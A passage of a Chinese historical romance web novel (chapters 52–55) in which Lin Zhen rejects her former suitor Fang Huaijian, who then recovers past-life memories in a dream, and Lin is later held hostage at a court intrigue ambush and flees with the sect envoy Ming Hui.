待方怀简平静下来,林蓁轻轻问:“我送过你一副小画,你看它时有想起过什么?” 方怀简愣了愣,那幅画他曾经琢磨很久,并没有明白什么。 他试探着问:“交大?鸳鸯交颈,正大光明?” 林蓁淡淡地笑了笑。 他怎可能想起什么呢,他永远不会想起什么,她的飞飞是时彦呀。 “我曾痴缠你,是我一心想攀高枝,见你远走不再回来,我只得另嫁他人。现我已在高枝,何必挪腾,我和方公子,庆幸未酿成大错,日后方夫人必千好万好,比我好。” 林蓁往门口走,方怀简大步追上猛地攥住她的手腕。 他眼眸充血,眼里似跳跃着火焰,要燃烧眼前一切。 “不许走!你喜欢我,你不会见异思迁,你逼不得已,你言不由衷——” 门扉大开着,伙计们交谈之声都能听到,林蓁捂住了方怀简的 唇。 他似乎陷入情感漩涡,神色可怖,林蓁才知道,端方如他一旦沉沦情障竟有些疯魔。 归根结底,还是自己主动招惹。 林蓁捂紧方怀简的唇,小声哀求:“方公子,都是我的错,我不检点,我水性杨花,朝三暮四,言而无信,我,我不值得。” “若方大将军和夫人知道我们如此,他们气恼,方府和毅勇侯府多年友好也会生了罅隙。” “求求你,就这样罢。” 前一刻她古井无波,可此时她低低哀求,似小兔子被天敌捕获,祈求一条生路,弱小可怜,声音微微发颤,眼神不敢声张求饶的柔软,整个人瞬间似有了活气,方怀简熟悉的活气。 就像曾经,求他抱她,求他爱她。 他就知道,她对他,戴着假面。 林蓁低低说着软话,指望方怀简快点放开自己,不要被布庄里的人看到。 突的捂住方怀简的手心一烫,软软湿润感觉忽如其来,林蓁手臂一麻,意识到是什么时,又来了一下。 刹那间满脸通红,捂嘴的手顺手一耳光。 “啪!” 力量之大店铺里伙计们都听得一清二楚,掌柜循声走来,问道:“少夫人?”并未听到少夫人应声。 掌柜疾步到门口,见林蓁朝里站着看不到她面容,方公子垂首站在她对面,目光低垂,两人并未言语,他正要启口问。 “方公子选好了,烦请给包好。” “是”,掌柜应声,往布匹走时,余光就见林蓁闪了个身径直出了门,再看方公子,他神情呆滞,似乎失了心窍。 “方公子,您要哪些?” 掌柜连询了几声,方怀简才有回应,手指随意点点,“这个,这个。” * 时隽在芙蓉醉找到方怀简时,他满身酒气,身边已经空了好几个酒坛。时隽暗暗松了口气,若方怀简神色轻松,该喝酒的人就是自己了。 他为方怀简办事不周,不得已答应了方怀简请求,算是还了欠债,方怀简如此,那林蓁必是对哥哥心意坚决,时隽心下认可,口中安慰道:“她有什么好,值得如此?你母亲说,你祖母带着你表妹就要来皇城了,你表妹与你知根知底,不比她好一万倍?” 时隽去方府找方怀简时,方怀简母亲袁氏特意叮嘱了他几句,许多话心照不宣,他自然意会,这会儿按照袁氏意思说着方怀简表妹的好话。 方怀简递给时隽一杯酒:“陪我喝!” 时隽一饮而尽,就听方怀简问:“你哥哥到底有没有毛病?” 第53章 第 53 章 吻得浑身发颤发软 有没有毛病? 实在想不到如此粗鄙不堪之语从方怀简口中说出, 俗语酒后吐真言,再说下去怕是更多不堪入耳,他糊涂可以不认账,时隽并不想听到对时彦林蓁不敬之语。 “走了, 走了, 我送你回去”, 时隽收拾桌上酒坛, 不由分说攥上方怀简胳膊往外走。 “我才刚开始喝!”方怀简死拽着桌角不肯放手,“你是我的好友, 你都不陪我喝?!” “你算什么好友!” “是了,你不是,哪有你这样的好友,做事如此靠不住,见她跳火坑也不拦住, 就为你哥哥一己私欲!” 时隽心中烦躁, 口信没传到他的确有错,可谁能想到会是如今结果?为他俩能单独见面, 回家自己还不知道要挨多少骂。 他并不认为,即便当时林蓁收了玉知晓了方怀简心意, 两人就能顺利和美。 方怀简不似哥哥时彦,哥哥什么都能自己拿主意, 方怀简要娶林蓁, 他爹娘就能把林蓁折腾得敬而远之, 还别说有一个据说让他母亲都犯怵的祖母。 他就是从小太顺,过得都是娇惯日子,第一次得不到,耍些小孩脾气。 可怜自己, 受着他的气还心甘情愿帮他,给他东遮西掩。 回家还得面对雷霆之火。 酒醉之人力气大,时隽竟没扒动方怀简,他叫来门口候着的方德山,方德山早就看不下去了,只是他毕竟一个下人,这会时隽做主,两人不管方怀简口中叫嚷,强架住他回了方府。 方府。 被强灌了几碗醒酒汤,仆役伺候着洗浴换了衣裳,方怀简清醒了不少。酒喝多了头有些疼,方怀简无心睡眠,到书房看书。方德山见他行动尚可,情绪恢复如常,放下了心,遵方怀简吩咐自去休息。 在多宝柜里翻找,方怀简找出林蓁曾经送给他的物什。 其实没有什么。 最珍贵最重要的平安玉他给弄丢了,包子铺人去楼空,姓肖的男人变成黄土,他想找回玉都不知从何下手,只得画了玉的模样让人在皇城当铺一间间挨个打听,那男人是个赌徒,或许当了玉在某间当铺未尝可知。 只有一个紫色绣袋,里面曾经装着她特意买的松鹤楼点心,她知晓他的口味,那些点心都合心意。 还有一副自己和一位陌生女子的画像,两人行状亲昵,应是一对情侣。 方怀简凝视画像。 今日林蓁问过,可想起什么。 画像里年轻女子甜笑粲然,若山泉甘甜,月辉轻柔,心中烦躁郁结似减轻不少,可她到底想说什么呢。 再翻看紫色绣袋,软烟罗双面绣,正面红色暗花纹为底,白色绣线绣出几簇茉莉花苞,花苞里黄色花蕊精细动人,里面,方怀简翻出绣袋内里,才发现袋底竟然绣着几个字。 送君茉莉,愿君莫离。 方怀简攥紧绣袋,字迹渐浑,潸然泪下。 那时心意此时才看见,他彻彻底底迟到,无关时隽。 她若还有一丝丝一丁点留恋,他必粉身碎骨迎向她,可他活了二十年,第一次大胆逾矩的行为得到的却是一记猛烈耳光。 “我生是时府人,死是时府鬼。” “若你不要脸面,我自会与公爹婆母禀告。” 她语气坚决,神色带着恼怒,或许还有厌恶。 在她心中,自己如此不堪,已无异于登徒子。 她是不是恨自己,无论做什么,她都不会回头了吗。 方怀简攥紧绣袋。 毅然决然奔向她,可走到一个十字路口,眼前白茫茫一片,林蓁消散在白雾中,何去何从才能再在雾锁烟迷中找到曾经的她呢。 脑海里浮现时彦面容,他很是诡谲。 从未显露过丁点儿心意,亦非好色之徒,他贪图美貌?还是其他? 不在意她和自己落水,无所谓她私逃出府女扮男装? 他没有毛病,时隽必然直接否决自己问题,可时隽避而不答。 毅勇侯府给林蓁聘礼远超皇城贵女出嫁规格,他们完全不需如此。 还赞许她考女官,这不是侯府之家当家主母该做的事情…… 寂静秋夜,圆月中天,柔和月辉和星光撒向院落,给满地铺上了一层银。书房窗棂前,烛火明亮,方怀简一杯接一杯喝着闷酒,抽丝剥茧回忆过往一点一滴,蛛丝马迹亦不放过。 许多古怪反常。 各种诡谲怪诞。 醉意渐渐上头。 朦朦胧胧,自己坐在一条小船上,夜风拂面,水波阵阵,小船漾得人心醉,船身后月影细碎如银,湖中似有丝竹之声。 小船另一头年轻女子与自己相对而坐,她手中捧着一束 茉莉。茉莉花香清幽,似温柔月光倾覆于身,不知不觉萦绕自己,引诱自己沉沦深陷。 年轻女子甜笑粲然,她的笑容若甜酒,自己醉了似的,心里甜得发软,不由自主满目含情。 “安安”,自己脱口而出,似呼喊了千万遍熟悉。 “我很喜欢你,我无时无刻不想和你在一起。” 年轻女子笑得璨胜春光。 “你别笑我,和你在一起,我前所未有的满足,开心,踏实,是我以前从来没有过的感觉,我想永远拥有这样的满足幸福安全——” 一颗泪珠突然从安安脸颊滚落,她赶忙垂首,手背遮挡住眼眸不想让自己看见,可细微啜泣声还是从她指缝间溜了出来。 自己急忙坐到她的身边,搂住她安慰:“安安,你怎么哭了?” “我高兴哭,不能哭么?”安安边抽泣边忿忿,可自己瞧见了她上翘的嘴角。 “没有,只是我话还没说完呢!” 手顺着安安后背安抚她,想说些好听的安慰她,话未出口,猝不及防的,安安猛地搂住自己脖颈,倾身过来深深吸了口自己嘴唇,唇齿碰撞那一瞬,自己手脚发麻,肢体似多余不知该放哪儿好。 安安猛亲了口自己,唇舌恋恋不舍微微分开后,眼梢上扬露出娇嗔:“还要说什么,这么啰嗦!我都答应啦!” 她伸出手,放在自己胸口,不容置疑道:“拿出来罢,给我戴上!” 她的手小巧白皙,手指似柔荑微微蜷缩,等待着什么。 自己心神领会,从胸口掏出一个红色绒盒,掀开盒盖,里面一枚亮晶晶戒指,自己单膝跪在安安面前,将戒指戴在她无名指上。 她的手指温润暖和,自己攥着她的手,忍不住亲了一口。 安安看看手指上戒指,目光拂过攥紧她的自己的手,落在自己眼眸中,嘤嘤嘤又哭起来。 “别哭啦,都冒鼻涕泡啦!” 安安生气道:“擦你身上!” 她垂首想钻进自己胸口,作势要把脸蹭到自己衣服上,自己却笑呵呵捧上她的脸:“擦我脸上!” 脸颊泪痕温热,唇齿相交,甘甜似蜜,吻得浑身发颤发软,头晕目眩,不知亲吻得缺氧,还是无人掌舵的小船晃荡…… 方怀简遽然惊醒。 四下空无,明月中天,万籁俱寂,鼻间只有满院浓郁桂花香气,院里一丝风也没有,草木葳蕤隐身在幽静的黑中,房内烛火尚未熄灭,满室煌煌,似乎自己只是晃神一瞬,黄粱一梦而已。 头有些眩晕,似乎刚下那条摇晃的小船,他下意识舔了舔唇角,唇舌间还残留安安甜美,胸口还有她的余温,手上还有被她亲吻发懵时留下的微麻感。 心中一抽,蓦地拿起镇纸下那幅画,刚刚和自己亲昵唇齿相缠的安安正是画中女子。 方怀简猛灌几口酒,思索着刚刚这个离奇的梦。 过去林蓁缠着自己,诉说和自己相识,那些记忆一段段浮现。 “你我前世为夫妻。” “这是我们前世模样。” “年岁大了我慢慢回想起。” …… 不是梦,或许是自己另外一段记忆? 方怀简并不确定,不知为何脑中突然蹦出这样一个片段,不知是幻梦还是曾经的真实。 梦里安安和自己穿着和现在截然不同的衣裳,胳膊腿都裸露着,这是可以幻想出来的吗? 方怀简目光在书房里搜寻,他搬来书房里所有酒坛,一坛坛往嘴里灌,他要再次醉过去,去好好体味探寻曾经的真实。 * 毅勇侯府。 时隽回自己院子时,刚跨进院门,仆役就上前通报:“大公子等候多时,看样子好像不高兴。”心里早有准备,只是听到哥哥不高兴,时隽还是有些诧异,哥哥素来脾气宽厚,再让人生气的事情他都面不显色,仆役竟然看出他脸色不好,那他得生气成啥样。 时隽边走边想,可想不起曾经,印象中时彦没有发火过。推开门扉,迎面对上时彦的脸,他坐在八仙桌前品茶,脸色暗沉滴得出水。 “哥哥,这么晚还不休息。” “你支开母亲,把方怀简带到林蓁面前,到底为何?” “方怀简一个外人,你要帮着一个外人非要生事儿吗?你是怕没人知道他俩曾经的事儿?” 时隽坐到时彦面前,知道自己不对,垂首不言语。 时彦道:“这事往轻了说,林蓁刚刚嫁人就和方怀简见面,无论她在家里在父母面前,还是在外做时少夫人,都是极其没脸的事,她以后如何掌事儿?” “往重了说,方怀简一个大男人,别人不会说他什么,最多笑话几句风流,可说到林蓁身上,什么难听的都可能,她以后还要考女官,德行不行,怎么考,你一时兄弟义气坏她名声,毁了她辛苦付出!” 时隽本想任凭哥哥出气,可时彦危言耸听,根本没这么严重。 他不服道:“上次去红枫寺,她明明和两个男人联系紧密,我好意提醒你,你怪我多管闲事,说完全信任她,怎么,现在你不信任她了?” “今日世之酩酊大醉,我帮你验证过,林蓁心思全系于你,完全值得你信任,你不该感谢我?” 时隽大咧咧看着时彦,一副欠揍模样。 时彦面色本就阴沉,此时忽的似蒙上一层暗纱,脸上棱角坚硬得宛若能戳破虚空,刺出一个缺口卷进昏天黑地的飓风来。 这样面色只在杀敌战场上见过,时隽有些看不明白,他垂下眼眸避开时彦视线,仿佛如此屋内骤然的冷冽就能化开些许。 “哐!” 时彦抓起面前茶盏,使劲砸在时隽脚下,茶水瓷片四溅,时隽官靴湿了个透。 “林蓁视线里,不许再出现方怀简!若有下次,这个家不是你走就是我走!” “我说到做到!” 时隽垂首盯看自己黑色皂靴,上面糊满了茶叶,一如他糟透的心情,杂乱黏湿。 事情比想象得严重,原以为大发雷霆的会是母亲,哥哥如此大动肝火,担心什么呢?林蓁对他分明毫无二心。 幸而不会有下次,方怀简被打击得丢魂失魄,应该彻底死了心。 第54章 第 54 章 臣女愿助诸大人 天空还泛着湛蓝, 方德山放心不下,早早起床到方怀简跟前伺候,刚进院子,就听打扫院子的小厮说, 方怀简一晚上都在书房, 早些烛火才灭。 方德山急急奔向书房。 尚未走到门前, 透过大开窗棂看到方怀简趴在案几上似乎熟睡, 案几上横七竖八堆满了酒坛。 方德山推开门,浓重酒气夹杂着酸腐气扑面而来, 方德山皱眉,定睛一看,呕吐物酒水还有糟污的巾帕等触目皆是,地上一片狼藉。 方怀简趴在案几上,口中念念有词似在梦中, 胸襟上衣摆间都沾染了呕吐物, 方德山第一次见如此狼狈的小公子! 他急忙唤人进来收拾,和贴身服侍方怀简的仆役一起给方怀简清洗了一番, 扶着他回卧室躺下,方怀简嘴里尤在喃喃“还要喝, 拿酒来”。 从越州回来休息了几日,今日本应是去翰林院当值第一日, 可现下状况方怀简根本起不了床, 方德山无法, 硬着头皮向方怀简母亲袁氏禀告,不敢说方怀简去见了林蓁,只说方怀简喝了一夜酒,现在醉得不省人事。 袁氏一听, 刚刚爽利没两天的身子顿觉哪里都难受,她知晓小儿子和时隽相约喝酒,可喝通宵还是第一次,不可能为时隽,只能是因林蓁买醉。 她烦躁地叹了一声,吩咐方德山去给方怀简告假:“就说他在家给我伺疾,中秋节后上值!” 当初方怀简在越州时,托人给住在包子铺里的林蓁送信,托付之人没找到林蓁人影,担心误事,把信和银票专门送到了方府,袁氏看了信上儿子对林蓁的心仪之词,允诺回来娶她,当即就病倒了。 袁氏赧于和任何人说信中内容,思来想去不仅给方怀简去了信,告诉他林蓁高高兴兴做了毅勇侯府少夫人,还写信给老家的婆母秦氏,让婆母带着方怀简表妹徐蕊婴来皇城,委婉表达自己同意方怀简和徐蕊婴的亲事。 曾经她和婆母斗,一心给方怀简找个皇城中对他文官事业有助力门当户对的贵女,可方怀简和林蓁落水之事沸沸扬扬,林蓁嫁人 了他却似丢了魂,袁氏不得不退而求其次,徐蕊婴在皇城没有根基,据说温顺听话,婆母一直中意。 罢了,就她吧。 袁氏心中苦涩,没想到半路冒出个林蓁,让自己和婆母斗了大半辈子的拼力毫无意义。 晌午时分,方怀简才彻底醒过来,昨夜他睁眼就喝,醉了就睡,整个人半梦半醒想起许多片段。原来林蓁从未有臆症或者幻梦,她所说每一句都千真万确。 他曾经和她同学。 他曾经与她相拥相吻。 他曾经向她求婚…… 他就是飞飞,安安最爱的人。 可怜林蓁曾哀婉求他,回家好好看画,好好想一想,自己潦草看过几眼便束之高阁。 世间机缘,时不我与,如今只留自己空叹。 方怀简只想飞到林蓁面前,大声告诉她: 我是飞飞! 我想起来了! 我们可否回到从前! 林蓁,会回头么? 应该会,她心死是以为自己不喜欢她,以为自己不是飞飞。 云开见日真相大白,她一定会重新回到自己怀抱。 方怀简先去向母亲袁氏请安。 袁氏见他脸上苍白,心疼地问:“头还疼么,以后若再和时隽胡闹如此,我不会答应他上门。” 方怀简淡声解释:“几个月不见,聊着高兴,不觉便饮多了些,以后断不会如此。” 袁氏就当他说的真话,对他叮嘱道:“过几日,你祖母就要来了,祖母来了后,切不可在祖母面前如此,惹她担心烦忧。” “祖母说的话,都要应着,知道吗?” “祖母要来?怎么没听说起过?” “一直有说,你没听进心去。” “祖母年纪大,应该我们去会山探望祖母才是。” “你不得闲,祖母想你只得亲自来皇城,见一次少一次,你可得事事以祖母为先。” 方怀简揣度着母亲的话,母亲从未说过“要听祖母的话”类似言语,今日破天荒与过去大相径庭,而且去越州前便说过回来给自己说门亲事,八成祖母来皇城为了自己姻缘。 不管谁来,他只会娶林蓁。 方怀简陪袁氏说了会儿话,便要出门。袁氏疑道:“还要出去?去哪里?今日十四,明日中秋休沐,家家都在家热闹,时隽都不会约你,你还要去哪里?” “睡了一上午,有些闷,出去转转,晚膳时分就回来。” 袁氏只得命方德山跟紧点儿,不许再喝酒。 方怀简直奔毅勇侯府。 这会儿时光,毅勇侯府只有女眷,虽然自己不能如以往顺利进府,但只要厚着脸皮苦求,实在不行让门房送封信,只要林蓁知道自己是飞飞,知道自己想起过往,她一定会与自己相见。 毅勇侯府大门,门房值守的仆役踱来踱去,远远听到车马声便翘首以盼。 见方怀简从马车中钻出来,仆役奇道:“方公子,您怎么这个时辰来?”仆役们都已得到管家命令,时隽不在家时必须通传给夫人知道,才可迎方怀简进门,按理说,方怀简应该知晓时隽白日都不在家。 方怀简道:“我有要事找府中少夫人相商,烦请通传。” “您找少夫人?” “正是。”方怀简落落大方承认,不久以后,他不仅是找,还要带她走。 “烦请传于少夫人知道,十分紧要之事!” 仆役犹豫须臾,告知方怀简:“今日午后,御史台来了一拨人带走了少夫人,说是配合御史台查案。少夫人让来人稍等片刻都不成,这会儿府里一个人都没有,小姐去户部找大公子报信,管家去找侯爷了!” “确定是御史台?!”方怀简愣住,林蓁何时和御史台扯上关系,那里污秽恶浊,林蓁如何受的住?“可有说哪位御史大夫?” “少夫人说是御史台诸大人。” 方怀简垂眸默想了片刻,御史台并无姓诸的御史大夫,可如果不是御史大夫,其他人等可没这么大本事把毅勇侯府家眷从家中带走办案。 “去御史台。”方怀简命令车夫,匆匆上了马车。 * 在红枫寺把明晖的信交付诸大人时,诸大人提过或许需要林蓁配合查案,林蓁坐上御史台马车时,心下并不慌乱,那日诸大人和容悦色,没有因送信就要抓自己拷问意思,而且来人说的很清楚,晚间便会送自己归家,时姝已去找时彦,想来在御史台说清楚,很快便可回家。 马车驶了好一会儿仍然没到御史台,林蓁掀开车帘向外一瞧,完全陌生的道路,心下一惊,问马车边上护卫:“这不是去御史台,你们要带我去哪儿?” “夫人莫急,马上便到。” 任凭林蓁再问,护卫都不再言语,林蓁此时如瓮中之鳖,只能默默忍耐。忐忑中马车来到城外一处小院,林蓁跟随来人进院,抬眸间诸大人高大挺拔身影映入眼帘,林蓁长舒一口气。明明很害怕诸大人,可跟随陌生人在马车上颠簸许久,再见他竟有踏实落地之感。 “诸大人”,林蓁向萧忱垂眸福礼,“您真是让我来配合查案么?” “自然”,萧忱道,“明晖之事,今晚之后,尘埃落地。以后你可高枕无忧。” “今晚抓他?”林蓁抬眸,声音不自知地发颤,她还从未亲见抓捕坏人,而且这里不似现代,抓住了九成九就是死,“可我能做什么呢?” “稳住他”,萧忱道,“不要怕,我已做好万全部署,你不是要考女官么,女官经历的大风大浪远胜今晚,你就当次历练。” “梅棠女官刚从外地办案回来,今晚之事若顺利,我会向她举荐你,春闱之前你都可跟在她身边学习。” “你可行?” 萧忱语气淡然,眉眼凝神专注,细长眼眸笃定看着林蓁,等待唯一的答案。不是问“你可愿”,可即便问“你可行”,林蓁望着那压迫感强烈的视线,根本答不出否定答案。 林蓁垂下眼眸:“臣女愿助诸大人。” 小院虽然简陋,给林蓁的晚膳却十分丰盛,可惜林蓁没什么胃口,一心想着何时出发,自己会不会看到明晖血溅当场,一想到明晖满怀希望来求诸大人,却再见不到明日圆月,心里发怵发寒。 月上枝头,诸大人终于派人来唤自己,林蓁走到院门口,一辆普通青布马车停驻眼前,车帘被护卫撩开,林蓁往马车里望了一眼,吓得差点叫出声。 马车里没有烛火,诸大人一身玄衣端坐黑漆漆车内,他面无表情,犹如戴着一张面具,黑曜石般眼眸似黑洞要吞噬一切,活像阎王半夜出巡去判人性命。 “上来。”萧忱手指微弯,轻轻扣了扣身边空位。 林蓁坐在了萧忱身边,心像一根绷紧的弦,连萧忱细微动作带起的衣绸摩擦声都辨得分明,幸好他一语不发,沉默地看着车外。 十四夜晚,晚风轻掠过树梢,偶尔带起林间沙沙细声,月光给大地笼上银辉,宁静得让人沉醉。马车停在了一片湖边,月光在湖面闪烁,似无数细碎钻石闪射,百步外有树林,此刻似笼罩了层轻纱。林蓁无心秋夜月色,下了车四处张望,不远处有一座茅草亭,那里似乎有人,黑乎乎只看得清人影。 林蓁望着那人,呼吸急促而颤栗。 “不要怕。”萧忱冰冷声音传来,似乎阎王即将司掌人命。 萧忱迎着那人走去,林蓁紧紧跟在身后。 “她怎么来了?”明晖声音刺破黑暗,在空旷湖边尤为空灵。 第55章 第 55 章 他有些魔怔了 “显示我的诚意。” 萧忱声音低沉威肃, 穿透人心令人无比诚笃,他内心就是如此意志,至诚从容。 他不要明晖性命?林蓁暗暗思忖,大气不出。 萧忱走向明晖, 直到离他不过尺许才驻足。 明晖一身月白软绸箭袖, 缎面上银白暗花在月光下若隐若现。 这不是适合逃跑的装束颜色, 林蓁目光掠过明晖, 他亦笃定胸有成竹。 真的不怕死么。 “惠王爷,我开门见山。” 惠王?!林蓁目光倏地锁在侧前方诸大人身上, 他纹丝不动,双手背后合十,默认了这个称谓,目光落在他的手上,指节修长, 指甲修剪得精致, 呈现出玉似的通透,两根手指微微轻敲手心, 仿若闲庭信步在某处花园赏月弄花。 怪不得他总有一种威压感,傲睨一切。 林蓁垂首看着脚下, 湖边细沙软绵细腻,如果鲜血落于其上, 应该很快被湖砂吸收得丁点儿不见罢。 为自己突如其来念头打了个颤。 “我为白莲教护法, 愿助力惠王爷大业, 白莲教听凭王爷差遣,待王爷天下大定,我会奉上教众名册,任凭王爷发落。” “所求之事, 唯有一件,王爷大成时,放昔年废太子案旧臣遗属一条生路,废其奴籍,让其正大光明行走阳光下。” “明护法便是昔年废太子案旧臣遗属之一?背叛白莲教,利用白莲教,你不知这其中利害?” 虽已查清明晖为白莲教护法,若不是为了追查凤佩下落,萧忱并不会与明晖见面,这里面说不得有诈,或许其他皇子设置的陷阱,即便没有,和父皇心头大患白莲教绞缠在一起,风险亦大过收益。 明晖笑道:“惠王爷心里,白莲教难道不是臭名昭著,早该弃暗投明么?”他收敛笑意,正色道:“我既站这儿,便不惧各种。惠王爷好好考虑,日后王爷贵为天子,于废太子旧案不过轻动唇角,但白莲教彻底铲杀没有我的助力,恐十年不成。” 萧忱冷哼一声:“我如何信你,你且做些诚意之事?” 明晖道:“惠王爷希望我做什么?” “你站在本王面前,不知本王希冀之事?” 明晖略微思索,应道:“一月后贤王会去密州巡访军务,到时教众给惠王爷送些开胃小菜。” “乐见其成。” “小民告退,惠王爷且等且看。” 林蓁不明白惠王为何带她来,让她窥视到这些足以砍头多次的秘辛。她头垂得低低的,贝齿把嘴唇咬得发白,听到明晖要走,心似猛然被人揪起半分,又疼又紧。 “且慢,本王有话问你。” 明晖站定,等着萧忱启口。 “你有一块黄金玉凤佩,这凤佩你从何处而得?” 明晖怔了一息,完全没想到的问题。 他垂眸暗暗打量了萧忱几分,他的脸色实在过于平淡,看不出丝毫喜怒或触动,仿佛人形冰偶,透着丝丝寒气。 玉佩还牵扯一条人命,不想节外生枝,明晖道:“凤佩我自小所有,并非他人赠与。” “自小戴着,父母给予?” “我是孤儿,不记得幼时,有记忆时便有这凤佩。” 萧忱默了片刻,明晖嘴里没什么实话。 “我见过你两次,两次你都谎言诳我。既要助我,满嘴谎言,我如何信你?” “要么如实说出凤佩来历,要么说出你的真实身份,你是女子?” 萧忱狭长眼眸微垂,目光审视般一寸寸在明晖身上流淌。 他身量不高,长得雌雄莫辨,作为白莲教护法,名声鹊起已有四五年时间,一直是男子装扮,若她是妹妹,首先得是女子,其次十三四岁就已为护法,似乎不可思议,但也并非绝不可能,真龙血脉,必然能力卓绝。 明晖沉默不语,这玉上人命说出来牵扯更多,而这世上知道她是女子的人已经死绝,他如何猜得? “我要听实话,否则今晚别想离开。”萧忱语音未落,人已瞬间移至丈外。 耳边一阵风过,林蓁抬眸间,侧前方惠王闪身消失,明晖冷冽眼眸紧盯自己,杀意呼之欲出,彻骨冷意让林蓁忍不住战栗。 一只水鸟扑腾的声音刺破静夜,林蓁望向湖边,鸡皮疙瘩顿起。水面竖起密密麻麻芦苇杆,越来越长,眨眼间几十人从湖中涌出,手抄刀剑向自己和明晖包围。 萧忱已远远退到树林边,树林里神兵天降,奔出手拿弓弩的士兵,向着唯一目标明晖突进。 所有一切如闪电般发生,林蓁再看一眼明晖,目光对视瞬间自己被他拉到身前,眼前银光一闪,一把匕首横亘在自己脖颈间。 萧忱沉默看着眼前一切。如己所料,明晖拉林蓁做挡箭牌,那明晖今晚插翅难飞。 他没有弄清凤佩来源,也不确定明晖雌雄,只想活捉明晖,不想伤他半分。可刀剑无眼,若明晖察觉自己心思,以他身手极可能逃脱。林蓁在他身边,第一反应都会以林蓁为质,他不会拼死搏杀。 明晖匕首紧抵林蓁脖颈:“这就是王爷的诚意?她死了王爷如何向毅勇侯交代?” “交代?白莲教护法明晖作乱,杀害毅勇侯府少夫人,已被惠王击杀。” 萧忱脸上浮现一丝笑意:“侯爷对本王感激不尽,欠下本王一个人情。” 水里和树林中涌出士兵已围成一个紧密圆圈,圆圈越来越小,萧忱跟随变小的圆圈步步逼进。 脖颈上尖刃越来越紧,衣襟渐有黏腻之感,林蓁呼吸越来越费劲。 明晖忽的呵笑:“侯府美人陪我共赴黄泉,我明晖也不枉此生。” “嗤啦”布帛撕裂声,林蓁左臂衣袖被明晖随手丢地上。 萧忱一愣,包围脚步不停。 “嗤啦”,林蓁双臂凉飕飕,包抄卫兵中人影晃动。 林蓁唇角已咬出血珠,这个时空她死前被如此对待,就算死了也难得安稳。 萧忱越来越近,他冷肃沉稳如一座冰山,脚步并未因明晖举止停滞半分。 林蓁忆起“稳住他”的话,可她十分怀疑,眼前惠王根本不在乎她的性命,他好像已经放弃了她,她的生死就在明晖一念之间。 明晖匕首已带着血的温热,他的手抓住了林蓁的衣襟。 分明周围黑压压士兵,却诡谲得没有一丝声音,脚下湖砂吸收了所有步伐碎声,林蓁似乎能听到脖颈上血液涌动。 “嘶”,骏马嘶吼声划破死沉。 “殿下住手!”时世诚声如洪钟,驾着骏马飞驰而来,眨眼间就到跟前。 时世诚飞身下马,向萧忱作揖道:“殿下,人命只有一次,林蓁为微臣儿媳,殿下看在微臣份上放过他,改日微臣必取他人头以敬殿下!” 时世诚和时彦四下打听,寻了多时找到此处,可进入小树林时被拦下,据说林蓁在协助办案,时世诚凭借守护皇城的金吾卫大将军身份才闯了进来。 远远的,他就看见湖边两人被卫兵团团围住,再定睛一看,林蓁哪里是协助办案,她被人刀架脖颈上挟做人质,可惠王根本无动于衷。 惠王心狠手辣,时世诚心急如焚。 萧忱心里发恨,只差一点点,瞬息之间,天差地别。 时世诚在此,他必然看不下去明晖伤害林蓁举止,会催促他放过明晖,他是金吾卫大将军,本身就有戍卫皇城之职,没办法当场与之翻脸。萧忱缓缓举手,示意卫兵们退下。 明晖抵在林蓁脖颈上的匕首没有松懈半分。 时世诚对明晖招手:“骑我的马你逃命去罢,若伤她必不饶你!” 骏马带着明晖和林蓁急速消失在夜色中。 不知多久,林蓁只知道明月高悬,彩云追月,明晖在一溪涧处停驻,让马休息吃草。 半夜郊野山林,凉气逼人,林蓁双手交握双臂,连打了几个喷嚏。 明晖在溪边洗了把脸,转头看向林蓁,他从怀里掏出个小瓶,扔到林蓁怀里:“搽搽脖颈。” 脖颈上血迹已经干涸,林蓁仍走到溪边,蹲下身用水擦了擦,再凭感觉涂上了药膏,火辣辣痛感顿时缓解许多。 “手臂受伤了?”明晖问,手指着林蓁左臂手肘处一片青痕。 林蓁举起手肘看了看,摇摇头:“不是,生下便如此。”林蓁有点儿不可思议,“你担心我受伤?就在刚才,你可是要杀了我。” 说话间,又打了几个喷嚏。 明晖看了两眼,脱下身上剑袖衫袍递给林蓁,自己只剩一件中衣。 林蓁看着衫袍,想着要不要穿。这会儿身上衣裳如同一个背心,她很需要保暖衣物,自己和时彦都不会在意什 么,可毕竟在古代,她的生活里不仅仅只有时彦目光。 “那些卫兵都看到你这般,再多件衣服有什么。”明晖看出她的心思。 林蓁一把扯过衣裳穿上。 “你过去害我差点儿没命,今晚你非但要杀我,还要毁我名声全无。” “难道不是惠王,不是他逼迫,也不至于此。” “你帮我几次,我没想过杀你,撕你衣袖只为引起卫兵注意,我已看到有卫兵露出破绽,就算无来人,我亦有八成胜算可以跑掉。” 明晖从怀中掏出一个布囊扔到林蓁面前:“不过一码归一码,最终还是靠你这个人质才逃出来,我最不爱欠人情,这会儿没银票,里面东西你随便选一个,算作补偿。” 当时湖边煞气甚重,明晖面对不是你死便是我亡的险境必然搏命,林蓁以为自己就是明晖的陪葬品。此刻,明晖说他并无杀意,林蓁虽不太相信,但心态上还是放松许多。 她没有要补偿想法,但好奇心还是让她拿起布囊翻看一番,有精美绝伦玉扳指,有各种材质嵌珠镶玉佛像,各个精雕细刻巧夺天工,随便一个都价值不菲。 林蓁翻出了自己的平安玉。 讶异让她合不拢嘴,手指反复摩挲玉佩,佩戴十几年,她绝不会认错。林蓁举起玉佩看向明晖,尚未开口,玉佩被明晖一把抢过:“这个不行,其他随你。” 今夜纷争源于此玉,惠王可能还会寻来,此玉不能送。 林蓁看着闪着幽光的凤佩,犹豫道:“这玉佩是我的,我送给了一位朋友,怎会在你这儿?” “你的?!”明晖眼眸转动间,问道:“你这玉和惠王有什么关系?” 意识到惠王今夜所为全因这块玉,林蓁忽而绷紧了心:“这块玉为我母亲所有,和惠王没有任何关系!” “惠王大概会继续寻我,这块玉我不能给你。” “嗯,我送给朋友时便没想过要回来,既然它与你有缘,就算赠送的是你罢”,林蓁垂眸沉思,“只是,惠王为何要问这块玉呢?” “你母亲以前是宫女?”明晖知道惠王母亲是不知名早死的宫人,看面貌,惠王比林蓁大不了几岁。 “不可能,我母亲从未入宫,在潭州生下的我,我一两岁才和母亲来皇城。” “潭州生下的你?” “是啊。” “那你回去问问母亲不就知道了。” “我母亲在我幼时便亡故了。” “那,你身边还有母亲旧人么,问问她们也一样。” 林蓁想起了云娘,情不自禁点点头。 “是谁呀?” “我母亲的丫鬟,云娘。” 明晖淡笑道:“你回去问问清楚,若有好处,这块玉还你,若是灾祸,我帮你担了。” “这怎么行?” “债多不愁,虱多不痒。” 林蓁叹了口气,裹紧衣裳问:“你为何非要为那些遗属出头?废太子党旧事,翻案本就渺茫,随时可能搭上你的性命。” 